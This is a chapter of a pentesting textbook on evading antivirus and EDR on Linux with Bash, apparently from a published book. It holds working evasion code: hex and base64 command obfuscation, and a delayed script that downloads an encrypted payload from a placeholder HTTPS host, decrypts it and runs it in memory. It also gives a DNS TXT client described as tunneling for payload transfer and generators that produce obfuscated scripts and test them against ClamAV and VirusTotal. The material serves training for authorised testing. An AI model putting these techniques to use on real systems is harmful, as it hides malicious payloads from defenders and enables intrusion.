Evasion and Obfuscation
local graph
Chapter 14 — Evasion and Obfuscation
Section titled “Chapter 14 — Evasion and Obfuscation”In cybersecurity, mastering evasion and obfuscation techniques is critical for both offense and defense. With the rise of antivirus (AV) and Endpoint Detection and Response (EDR) systems, pentesters must now learn evasion skills traditionally used by red teams. Without these skills, your efforts to identify vulnerabilities and create exploit proofs of concept could be blocked, possibly leading to false negatives regarding system vulnerabilities.
This chapter focuses on using the Bash shell to implement these techniques, specifically in the context of evading detection by AV and EDR systems during pentesting activities. AV and EDR were formerly only found in Windows environments. Today, they are frequently deployed to Linux/Unix systems.
Throughout this chapter, we will explore various methods of creating and executing Bash scripts that minimize the risk of detection. We’ll begin by examining how to enumerate the environment for AV and EDR presence, then progress through basic and advanced obfuscation techniques. Finally, we’ll look at automating the generation of evasion scripts.
By the end of this chapter, you will have a solid understanding of how AV and EDR systems function, common detection mechanisms, and practical skills in employing obfuscation and evasion tactics using Bash. These skills are valuable not only for pentesters but also for security professionals seeking to enhance their defensive capabilities by understanding the techniques used by potential attackers.
In this chapter, we’re going to cover the following main topics:
- Enumerating the environment for AV and EDR
- Basic obfuscation techniques in Bash
- Advanced evasion tactics using Bash
- Automating evasion script generation in Bash
Technical requirements
Section titled “Technical requirements”To complete this chapter, we need access to a Linux environment with a Bash shell to execute the examples. Additionally, prerequisite Bash utilities can be installed by executing the following command:
$ sudo apt update && sudo apt install -y openssl dnsutilsThe code for this chapter can be found at https://github.com/PacktPublishing/Bash-Shell-Scripting-for-Pentesters/tree/main/Chapter14.
With the prerequisites out of the way, let’s dive in!
Enumerating the environment for AV and EDR
Section titled “Enumerating the environment for AV and EDR”Before attempting any evasion techniques, it’s essential to understand the security landscape of the target system. This section focuses on identifying and analyzing the presence of AV and EDR solutions using Bash scripting. We’ll explore practical methods of gathering information about installed security software, active monitoring processes, and system configurations that may impact our pentesting activities. By using Bash commands and scripts, we’ll develop a systematic approach to reconnaissance. This will enable more effective and targeted evasion strategies in subsequent phases of our assessment.
Environment reconnaissance is a critical first step in any pentest engagement, especially when dealing with systems protected by AV and EDR solutions. This process involves gathering detailed information about the target system’s security measures, which is essential for several reasons:
- Tailored approach: By understanding the specific AV/EDR solutions in place, you can customize your pentest techniques to avoid detection. Each security solution has its own strengths and weaknesses, and knowing these allows you to adapt your methods accordingly.
- Risk mitigation: Reconnaissance helps identify potential risks associated with your testing activities. For example, some EDR solutions might trigger alerts or even automatic responses to certain actions. Understanding these risks allows you to plan your testing more carefully and avoid unintended disruptions.
- Efficiency: Knowing the security landscape helps you focus your efforts on techniques that are more likely to succeed. This saves time and resources by avoiding methods that are likely to be detected or blocked by the identified security solutions.
- Realistic assessment: Understanding the target environment allows you to provide a more accurate assessment of the system’s security posture. This includes evaluating how well the existing security solutions are configured and identifying any gaps in protection.
- Stealth: In scenarios where maintaining a low profile is critical, environment reconnaissance allows you to design your tests to minimize the risk of detection. This is particularly important in red team exercises or when testing production systems.
Let’s first take a look at process enumeration:
- One of the primary methods is examining running processes. This can be done using commands such as
ps,top, orhtop. The following shows how to list all running processes:This command looks for specific AV/EDR process names:$ sudo ps auxThe output will have many false positives due to the short$ sudo ps aux | grep -E "(av|edr|protect|defend|guard)"avandedrstrings since they may match other unrelated words. Review the output carefully. - Filesystem analysis is another important aspect of endpoint protection software enumeration, that is, checking for the presence of specific files or directories associated with
We can search for common AV/EDR-related directories, as follows:
The following command finds files with specific names:$ ls -l /opt /etc | grep -E "(av|antivirus|edr|protect)"$ find / -name "*antivirus*" -o -name "*edr*" 2>/dev/null
- You should also be examining network connections to reveal communication with AV/EDR
The following example lists all active network connections:
In this example, we check for outbound connections to known AV/EDR servers:$ netstat -tuln$ ss -tuln | grep -E "(8080|443|22)"
- And, of course, we can’t forget service enumeration. Many AV/EDR solutions run
The following example lists all services:
After listing services, we can check the status of specific services as follows:$ systemctl list-units --type=service$ systemctl status avservice.service
- Some AV/EDR solutions use kernel modules. The following command will help you to reveal kernel modules potentially used for
We can refine the previous command to check for specific modules:$ lsmod$ lsmod | grep -E "(av|edr|protect)"
- Don’t forget about system logs. Examining system logs can reveal AV/EDR activity. Check the system logs for AV/EDR-related entries
$ grep -E "(av|antivirus|edr)" /var/log/syslog
- Package manager metadata is another good source of intel. On systems using package managers, you can query for installed
The following command works for Debian-based systems:
The following command works for Red Hat-based systems:$ dpkg -l | grep -E "(av|antivirus|edr)"$ rpm -qa | grep -E "(av|antivirus|edr)"
- Just like privilege escalation, always check environment variables. Some AV/EDR solutions set
We can list all environment variables as shown:
We can further refine this to look for specific AV/EDR-related variables:$ env$ env | grep -E "(AV|EDR|PROTECT)"
When implementing these techniques in Bash scripts, it’s important to combine multiple methods for a full approach. Here’s a simple example that combines several of these approaches. You can find the following code in this chapter’s GitHub repository as ch14_gather_basic_info.sh:
#!/usr/bin/env bashecho "Checking for AV/EDR presence..."# Process checkecho "Processes:"ps aux | grep -E "(av|edr|protect|defend|guard)"# File system checkecho "Suspicious directories:"ls -l /opt /etc | grep -E "(av|antivirus|edr|protect)"# Network connectionsecho "Network connections:"ss -tuln | grep -E "(8080|443|22)"# Service checkecho "Services:"systemctl list-units --type=service | grep -E "(av|antivirus|edr)"# Kernel modulesecho "Kernel modules:"lsmod | grep -E "(av|edr|protect)"echo "Enumeration complete."AV and EDR software send data about the endpoint’s status, performance, and activities. This is referred to as telemetry. The following script checks to see whether the host is sending telemetry to common EDR domains. You can find it in this chapter’s GitHub repository as ch14_telemetry_check.sh:
#!/usr/bin/env bash# Array of common EDR telemetry hostnamesedr_hostnames=( "*.crowdstrike.com" "*.sentinelone.net" "*.carbonblack.com" "*.cylance.com" "*.symantec.com" "*.mcafee.com" "*.trendmicro.com" "*.sophos.com" "*.kaspersky.com" "*.fireeye.com")# Function to check for EDR connectionscheck_edr_connections() { echo "Checking for EDR connections..." for hostname in "${edr_hostnames[@]}"; do if ss -tuar | grep -q "$hostname"; then echo "Found connection to $hostname" fi done}check_edr_connectionsThese techniques should provide you with enough information to determine whether a Linux or Unix system has any AV or EDR software installed. We will explore obfuscation and evasion techniques in subsequent sections of this chapter.
Basic obfuscation techniques in Bash
Section titled “Basic obfuscation techniques in Bash”In this section, we’ll explore various obfuscation techniques that can be applied to Bash scripts. These methods range from simple variable name alterations to more complex command substitution and encoding strategies. By combining these techniques, pentesters can create scripts that are more likely to evade detection and resist analysis.
Obfuscation in Bash scripting is the practice of making code difficult to understand while preserving its functionality. For pentesters, obfuscation serves as a valuable technique to evade detection by security systems and complicate reverse engineering efforts. This section covers fundamental obfuscation methods that can be applied to Bash scripts.
Bash script obfuscation involves modifying the script’s appearance and structure without altering its behavior. The goal is to create code that functions identically to the original but is challenging for humans or automated systems to interpret. While obfuscation doesn’t provide foolproof protection, it can significantly increase the effort required to analyze and understand the script.
Here’s a simple example to illustrate the concept:
#!/usr/bin/env bashecho "Hello, World!"This straightforward script could be obfuscated as follows:
#!/usr/bin/env bash$(printf "\x65\x63\x68\x6f") "$(printf "\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21")"The printf command uses command substitution with the hexadecimal representation of the text Hello World.
Both scripts produce the same output, but the second one is considerably more difficult to read at a glance.
The next example uses basic variable substitution to run the sudo -l command, which is detected by the EDR agent:
cmd="sudo"args="-l"$cmd $argsWe can do more advanced command substitution with printf, as shown here:
$ (printf '\x73\x75\x64\x6f') $(printf '\x2d\x6c')This results in running the same command, as shown in the following figure.

Figure 14.1 – The output of running an obfuscated sudo command is shown
Base64 encoding can be used to obfuscate commands, as shown:
$ echo "c3VkbyAtbA==" | base64 -d | bashWe can also split up parts of commands using environment variables, as shown in the following example:
$ export CMD_PART1="su"$ export CMD_PART2="do"$ export ARG="-l"$ $CMD_PART1$CMD_PART2 $ARGBrace expansion is also useful for breaking string detection, as shown here:
$ {s,u,d,o}" "-{l}The following example implements command substitution with cut:
$ $(cut -c1-4 <<< "sudo sudo") $(cut -c1-2 <<< "-l -l")We can also use ASCII decimal values, as shown here:
$ $(printf "\x$(printf '%x' 115)\x$(printf '%x' 117)\x$(printf '%x' 100)\x$(printf '%x' 111)") $(printf "\x$(printf '%x' 45)\x$(printf '%x' 108)")Each of these methods obfuscates the sudo -l command in a different way. These techniques can be combined and nested to create more complex obfuscation. However, it’s important to note that modern security solutions are often capable of detecting these obfuscation attempts. These methods are more effective against simple pattern matching, also known as signature-based detection systems.
When testing these obfuscation techniques against EDR systems, observe how each method affects detection rates. Some EDR solutions might detect certain obfuscation techniques while missing others. This information can be valuable for understanding the capabilities and limitations of the EDR system being tested.
We’ll try more advanced techniques in the next section.
Advanced evasion tactics using Bash
Section titled “Advanced evasion tactics using Bash”While basic obfuscation techniques can be effective, more sophisticated evasion tactics are often necessary to bypass advanced security measures. This section explores advanced evasion methods using Bash.
Timing-based evasion involves executing code based on specific time conditions, making it harder for security solutions to detect malicious activity. For example, I’ve bypassed AV on multiple occasions by encoding or encrypting my payloads in the script or executable and inserting code to make it sleep for some time before decoding or decrypting and running the payload. AV and EDR vendors do not want to upset customers by taking up valuable system resources or making the system appear to be slow. Therefore, sometimes simple pauses for a few minutes before performing malicious activity are all you need.
Tip
AV and EDR vendors are catching on to the use of simple sleep statements. It’s often necessary to use techniques more complex than a call to the sleep() function, such as performing some random task before checking to see how much time has elapsed.
The following script example avoids using sleep statements by executing benign activities and checks to ensure the time is between 1 and 3 A.M. before executing the payload. It can be found in this chapter’s GitHub repository as ch14_sleep_1.sh:
#!/usr/bin/env bashcurrent_hour=$(date +%H)if [ $current_hour -ge 1 ] && [ $current_hour -lt 3 ]; then # Execute payload only between 1 AM and 3 AM echo "Executing payload..." # Add your payload hereelse # Perform benign activity echo "System check completed."fiAlternatively, you can use the sleep 600 command to sleep for 10 minutes before executing the payload. Additionally, you can make detection even more difficult by fetching the payload from an HTTPS URL and decoding or decrypting it after the sleep statement before execution instead of storing it in the script. Most AV systems would initially scan the file and not find any evidence of malicious content, then not detect any malicious activity, and eventually stop monitoring the file.
In the case of EDR, a simple sleep statement may not be sufficient to evade detection if a file, process, or network signature is detected. In cases such as this, you may be able to avoid detection by spreading the activity out over multiple commands or steps and inserting time between each step. Multiple actions occurring in the attack chain within a specific time frame may generate a high or critical severity alert. However, if you insert enough time between the actions, you may evade detection, or each step may alert at a lower severity and avoid scrutiny by the defenders.
The script has been modified to insert time between each step. The following script can be found in this chapter’s GitHub repository as ch14_sleep_2.sh:
#!/usr/bin/env bashsleep 600# URL of the encrypted payloadPAYLOAD_URL="https://example.com/encrypted_payload.bin"# Encryption key (in hexadecimal format)KEY="5ebe2294ecd0e0f08eab7690d2a6ee69"# Retrieve the encrypted payload and decrypt it in memorydecrypted_payload=$(curl -s "$PAYLOAD_URL" | openssl enc -aes-256-cbc -d -K "$KEY" -iv 0000000000000000 | base64)sleep 7200# Execute the decrypted payload from memorybash <(echo "$decrypted_payload" | base64 -d)If you want to be even more stealthy, you should avoid using curl or wget to fetch payloads and instead use DNS. The following example includes server- and client-side code for transferring data over DNS. You would implement the client-side code in your Bash script, replacing any use of curl or wget.
The server-side code can be found in this chapter’s GitHub repository as ch14_dns_server.py. The following client-side code can be found in this chapter’s GitHub repository as ch14_dns_client.sh:
#!/usr/bin/env bashSERVER_IP="10.2.10.99" #Replace with your actual server IPDOMAIN="example.com"function retrieve_data() { local key="$1" echo "Sending query for: $key.get.$DOMAIN to $SERVER_IP" local result=$(dig @$SERVER_IP +short TXT "$key.get.$DOMAIN") if [ -n "$result" ]; then # Remove quotes and decode local decoded=$(echo $result | tr -d '"' | base64 -d 2>/dev/null) if [ $? -eq 0 ]; then echo "Retrieved data for '$key': $decoded" else echo "Error decoding data for '$key'. Raw data: $result" fi else echo "No data found for '$key'" fi echo "-------------------"}# Example usageretrieve_data "weather"retrieve_data "news"retrieve_data "quote"retrieve_data "nonexistent"The output of the client can be found in the following figure:

Figure 14.2 – The output of the DNS client is shown
Important note
You will have to edit the server and client yourself to modify it to send payloads suitable for pentesting operations. This is simply a framework. You can encode or encrypt the data before transferring it, then decode or decrypt it on the client side and run the code fully in memory to avoid writing to disk.
The following provides an explanation of the retrieve_data function code:
local key="$1": This line declares a local variable,key, and assigns it the value of the first argument passed to the function.echo "Sending query for: $key.get.$DOMAIN to $SERVER_IP": This line prints a message indicating what query is being sent.local result=$(dig @$SERVER_IP +short TXT "$key.get.$DOMAIN"): This is the core of the function, using thedigcommand to perform a DNS query. Let’s break it down:dig: This is a DNS lookup utility.@$SERVER_IP: This variable specifies the DNS server to query (your custom server).+short: This tellsdigto give a terse answer. For aTXTrecord, this returns only the text data.TXT: This specifies that we’re looking for aTXTrecord."$key.get.$DOMAIN": This is the full domain name we’re querying, constructed with thekeyvariable, the wordget, and theDOMAINvariable.- The entire command is wrapped in
$(), which is a command substitution. It runs the command and returns its output, which is then assigned to theresultvariable.
if [ -n "$result" ]; then: This checks whether theresultvariable is non-empty.- Inside the
ifblock, we have the following:local decoded=$(echo $result | tr -d '"' | base64 -d 2>/dev/null): This line processes the result:echo $result: Outputs the result -tr -d '"': Removes any quote characters -base64 -d: Decodes the Base64-encoded string -2>/dev/null: Redirects any error messages to/dev/null(discards them)
if [ $? -eq 0 ]; then: This checks whether the previous command (the Base64 decoding) was successful:- If successful, it prints the decoded data. If not, it prints an error message with the raw data.
- If
resultis empty, it printsNo data foundfor '{$key}'. - Finally, it prints a separator line.
- If
- If successful, it prints the decoded data. If not, it prints an error message with the raw data.
The dig command is very important here. It’s using DNS to transmit data, querying a TXT record for a domain name that includes the key we’re interested in. The server responds with Base64-encoded data in the TXT record, which the client then decodes.
This method of using DNS for data transfer is sometimes called DNS tunneling or DNS exfiltration. It’s a creative way of transmitting data using a protocol (DNS) that’s often allowed through firewalls, even when other protocols are blocked.
Having explored a variety of ways to obfuscate payloads to bypass AV or EDR detection, let’s move on to the next section and explore using Bash to automate script obfuscation.
Automating evasion script generation in Bash
Section titled “Automating evasion script generation in Bash”To automate the generation of obfuscated Bash scripts, we’ll create a simple framework that combines various evasion techniques. This framework will allow us to quickly produce scripts that are more likely to evade detection by AV and EDR systems.
Here’s a basic structure for our framework. The following code can be found in this chapter’s GitHub repository as ch14_auto_obfuscate_1.sh. I’ll be breaking the code down into smaller sections to provide explanations:
#!/usr/bin/env bash# Function to encode a string using base64encode_base64() { echo "$1" | base64}The preceding code block provides a function to Base64 encode any data passed to the function. In the next part of the code, a function is provided to use the openssl program to generate random variable names composed of four-digit hexadecimal characters:
# Function to obfuscate variable namesobfuscate_var_name() { echo "var_$(openssl rand -hex 4)"}Then, the Bash code converts the contents of the cmd variable into a space-free, newline-free hexadecimal string representation:
# Function to obfuscate a command using command substitutionobfuscate_command() { local cmd="$1" echo "$(echo "$cmd" | od -A n -t x1 | tr -d ' \n')"}The od utility is being introduced here. It’s used to output data in various formats. The od -A n -t x1 command is used to display the contents of a file or input in a specific format. Here’s the breakdown:
od: This stands for octal dump and is a command-line utility used for displaying data in various formats.-A n: This option specifies that no address (offset) should be shown in the output.-t x1: This indicates the display format.xspecifies hexadecimal format, and1indicates 1-byte units. This means the data will be displayed as two-digit hexadecimal numbers for each byte.
The following code declares important variables and then reads the original script line by line:
# Main function to generate an obfuscated scriptgenerate_obfuscated_script() { local original_script="$1" local obfuscated_script="" while IFS= read -r line; doThe next code block checks whether a line of text matches a specific pattern resembling a variable assignment in a script, extracts the variable name, and replaces it with an obfuscated version:
# Obfuscate variable assignmentsif [[ "$line" =~ ^[[:space:]]*([a-zA-Z_][a-zA-Z0-9_]*)[[:space:]]*= ]]; then var_name="${BASH_REMATCH[1]}" new_var_name=$(obfuscate_var_name) line="${line//$var_name/$new_var_name}"fiThe next Bash code block is designed to match lines that start with a command-like string, obfuscate the command, and then replace it within the line with an encoded representation:
# Obfuscate commands if [[ "$line" =~ ^[[:space:]]*([-a-zA-Z0-9_]+) ]]; then cmd="${BASH_REMATCH[1]}" obfuscated_cmd=$(obfuscate_command "$cmd") line="${line//$cmd/\$(echo -e \"\x$(echo "$obfuscated_cmd" | sed 's/../\\x&/g')\")}" fiThe following code specifies the original script name as a variable:
obfuscated_script+="$line"$'\n' done < "$original_script" echo "$obfuscated_script"}original_script="original_script.sh"obfuscated_script=$(generate_obfuscated_script "$original_script")echo "$obfuscated_script" > obfuscated_script.shThen, it declares a variable for the obfuscated script based on the return value from the generate_obfuscated_script function. The content of this variable is then saved to the obfuscated_script.sh file.
This script provides a basic framework for generating obfuscated Bash scripts. It includes functions for encoding strings, obfuscating variable names, and obfuscating commands. The main generate_obfuscated_script function reads an original script, applies various obfuscation techniques, and produces an obfuscated version.
The script works by reading the original script line by line. For each line, it checks whether some variable assignments or commands can be obfuscated. Variable names are replaced with randomly generated names, and commands are converted into hexadecimal representations that are then decoded at runtime.
To make our framework more flexible and extensible, we can implement modular obfuscation techniques. This approach allows us to easily add new obfuscation methods or combine existing ones in different ways.
Here’s an example of how we can modify our framework to support modular obfuscation techniques. This script can be found in the GitHub repository as ch14_auto_obfuscate_2.sh:
#!/usr/bin/env bash# Array to store obfuscation techniquesobfuscation_techniques=()# Function to add an obfuscation techniqueadd_obfuscation_technique() { obfuscation_techniques+=("$1")}The preceding code block creates an array of obfuscation techniques and then provides a function to add a technique to the array.
# Example obfuscation techniquesobfuscate_base64() { echo "echo '$1' | base64 -d | bash"}obfuscate_hex() { echo "echo -e '$(echo "$1" | od -A n -t x1 | tr -d ' \n')' | bash"}obfuscate_eval() { echo "eval '$1'"}In the preceding code block, obfuscation functions are defined.
# Add techniques to the arrayadd_obfuscation_technique obfuscate_base64add_obfuscation_technique obfuscate_hexadd_obfuscation_technique obfuscate_evalIn the preceding code section, we choose our obfuscation techniques and add them to the obfuscation_techniques array.
# Function to apply a random obfuscation techniqueapply_random_obfuscation() { local content="$1" local technique_index=$((RANDOM % ${#obfuscation_techniques[@]})) local chosen_technique="${obfuscation_techniques[$technique_index]}" $chosen_technique "$content"}In the preceding code, the apply_random_obfuscation function randomly chooses a technique, then calls the function for that technique and passes the original script content into the function call.
# Main function to generate an obfuscated scriptgenerate_obfuscated_script() { local original_script="$1" local obfuscated_script="" while IFS= read -r line; do obfuscated_line=$(apply_random_obfuscation "$line") obfuscated_script+="$obfuscated_line"$'\n' done < "$original_script" echo "$obfuscated_script"}In the preceding code block, the generate_obfuscated_script function processes the original script line by line, calling the apply_random_obfuscation function on each line. The output of each function call is appended to the obfuscated_script variable before being printed to the terminal.
# Usageoriginal_script="original_script.sh"obfuscated_script=$(generate_obfuscated_script "$original_script")echo "$obfuscated_script" > obfuscated_script.shIn the preceding code, the previously declared functions are called, which ultimately ends with the obfuscated script being saved to a file.
This updated framework introduces an array of obfuscation techniques and a function to add new techniques. The apply_random_obfuscation function selects a random technique to apply to each line of the script. This modular approach makes it easy to add new obfuscation methods or modify existing ones without changing the core logic of the script generator.
To further enhance our framework, we can create a separate library of evasion functions. This library will contain various obfuscation and evasion techniques we’ve already covered that can be imported and used in our main script generator.
To use this library in our main script generator, we can source it and incorporate the evasion functions into our obfuscation techniques. The following line of code can be used to source the Bash script containing evasion functions from an external script:
source ch14_evasion_library.shThis is demonstrated in the ch14_auto_obfuscate_4.sh script, which can be found in this chapter’s GitHub repository. Because it is very similar to previous versions, with the exception of sourcing the evasion functions from an external script, the code will not be shown in its entirety here.
This approach allows us to maintain a separate library of evasion functions, making it easier to manage, update, and extend our collection of obfuscation techniques.
To make our obfuscation process more dynamic and unpredictable, we can develop a script that combines multiple evasion methods for each line or command in the original script. This approach increases the complexity of the obfuscated script and makes it more challenging for detection systems to analyze.
Here’s an example of how we can modify our script generator to dynamically combine evasion methods. This is demonstrated in the following script, which can be found in the GitHub repository as ch14_auto_obfuscate_5.sh:
#!/usr/bin/env bashsource ch14_evasion_library.shThe preceding code sources the code for the obfuscation functions from an external file.
# Function to apply multiple random obfuscation techniquesapply_multiple_obfuscations() { local content="$1" local num_techniques=$((RANDOM % 3 + 1)) # Apply 1 to 3 techniques for ((i=0; i<num_techniques; i++)); do local technique_index=$((RANDOM % ${#obfuscation_techniques[@]})) local chosen_technique="${obfuscation_techniques[$technique_index]}" content=$($chosen_technique "$content") done echo "$content"}The main difference between the apply_multiple_obfuscations function in the preceding code and previous versions is it can use between 1 and 3 obfuscation techniques instead of just 1.
# Main function to generate an obfuscated scriptgenerate_obfuscated_script() { local original_script="$1" local obfuscated_script="" while IFS= read -r line; do if [[ -n "$line" && ! "$line" =~ ^[[:space:]]*# ]]; then obfuscated_line=$(apply_multiple_obfuscations "$line") obfuscated_script+="$obfuscated_line"$'\n' else obfuscated_script+="$line"$'\n' fi done < "$original_script" echo "$obfuscated_script"}In the preceding code, the original script code is processed line by line and sent to the apply_multiple_obfuscations function. Once the function has processed the data and applied obfuscation, it is appended to the obfuscated_script variable.
# Usageoriginal_script="original_script.sh"obfuscated_script=$(generate_obfuscated_script "$original_script")echo "$obfuscated_script" > obfuscated_script.shThis updated script introduces the apply_multiple_obfuscations function, which applies a random number of obfuscation techniques to each line of the script. This approach creates a more complex and varied obfuscation pattern, making it harder to identify patterns or signatures.
After generating obfuscated scripts, it’s important to test and validate them against common AV and EDR products. This process helps ensure that our obfuscation techniques are effective and allows us to refine our methods based on the results.
Here’s a basic script that demonstrates how we might approach testing our obfuscated scripts. It can be found in the GitHub repository as ch14_auto_obfuscate_6.sh. You’ll need to obtain a VirusTotal API key and replace the YOUR_API_KEY string before running the script. You can find instructions for obtaining an API key at https://docs.virustotal.com/docs/please-give-me-an-api-key:
#!/usr/bin/env bash# Source the obfuscation scriptsource ch14_auto_obfuscate_1.sh# Function to test a script against AV/EDR solutionstest_script() { local script="$1" local result="" # Simulate testing against different AV/EDR solutions # In a real scenario, you would use actual AV/EDR products or online scanning services result+="ClamAV: $(clamscan "$script")"$'\n' result+="VirusTotal: $(curl -s -F "file=@$script" https://www.virustotal.com/vtapi/v2/file/scan --form apikey=YOUR_API_KEY)"$'\n' echo "$result"}The test_script function in the preceding code block is responsible for performing a scan using the ClamAV software and checking for detections on the VirusTotal website.
# Generate and test multiple variations of obfuscated scriptsgenerate_and_test() { local original_script="$1" local num_variations="$2" for ((i=1; i<=num_variations; i++)); do echo "Testing variation $i" obfuscated_script=$(generate_obfuscated_script "$original_script") echo "$obfuscated_script" > "obfuscated_script_$i.sh" test_result=$(test_script "obfuscated_script_$i.sh") echo "$test_result" echo "-------------------------" done}The preceding code block is responsible for generating and testing multiple iterations of obfuscation.
# Usageoriginal_script="original_script.sh"num_variations=5generate_and_test "$original_script" "$num_variations"This script demonstrates a basic approach to testing obfuscated scripts. The test_script function simulates testing a script against different AV/EDR solutions. In a real-world scenario, you would replace these simulations with actual scans using AV/EDR products or online scanning services.
The generate_and_test function generates multiple variations of obfuscated scripts and tests each one. This allows us to see how different combinations of obfuscation techniques perform against detection systems.
The script generates a specified number of obfuscated variations and runs them through the testing process, providing results for each variation.
It’s important to note that this is a simplified example for demonstration purposes. In practice, testing against AV/EDR solutions would involve more comprehensive methods, potentially including the following:
- Using a dedicated testing environment or sandbox
- Employing multiple AV/EDR products for thorough testing
- Analyzing behavioral detection in addition to signature-based detection
- Continuously updating the testing process as AV/EDR solutions evolve
By systematically testing and validating our obfuscated scripts, we can refine our obfuscation techniques and ensure that they remain effective against current detection methods.
Throughout this section, we learned how to create a comprehensive system for generating, obfuscating, and testing evasion scripts in Bash. This automated approach not only saves time but also allows for the creation of more sophisticated and effective evasion techniques.
Summary
Section titled “Summary”In this chapter, we explored techniques for evading detection by AV and EDR systems during pentests, focusing on Bash shell scripting. We covered methods for gathering information about the security environment, basic and advanced obfuscation techniques, and strategies for automating the generation of evasive scripts.
We learned how to use Bash commands to identify installed security software and active monitoring processes. We examined various obfuscation methods, including variable name obfuscation, command substitution, and encoding techniques. We also covered advanced evasion tactics such as timing-based evasion and transferring data using DNS. Finally, we discussed the development of a framework for generating obfuscated Bash scripts and testing their effectiveness against common AV and EDR solutions.
The value of these techniques will become apparent as more stakeholders install endpoint protection agents on Linux systems. This will make it more difficult to pentest and your new obfuscation skills will be of great benefit.
In Chapter 15, we’ll explore the topic of interfacing with artificial intelligence and its applications in pentesting.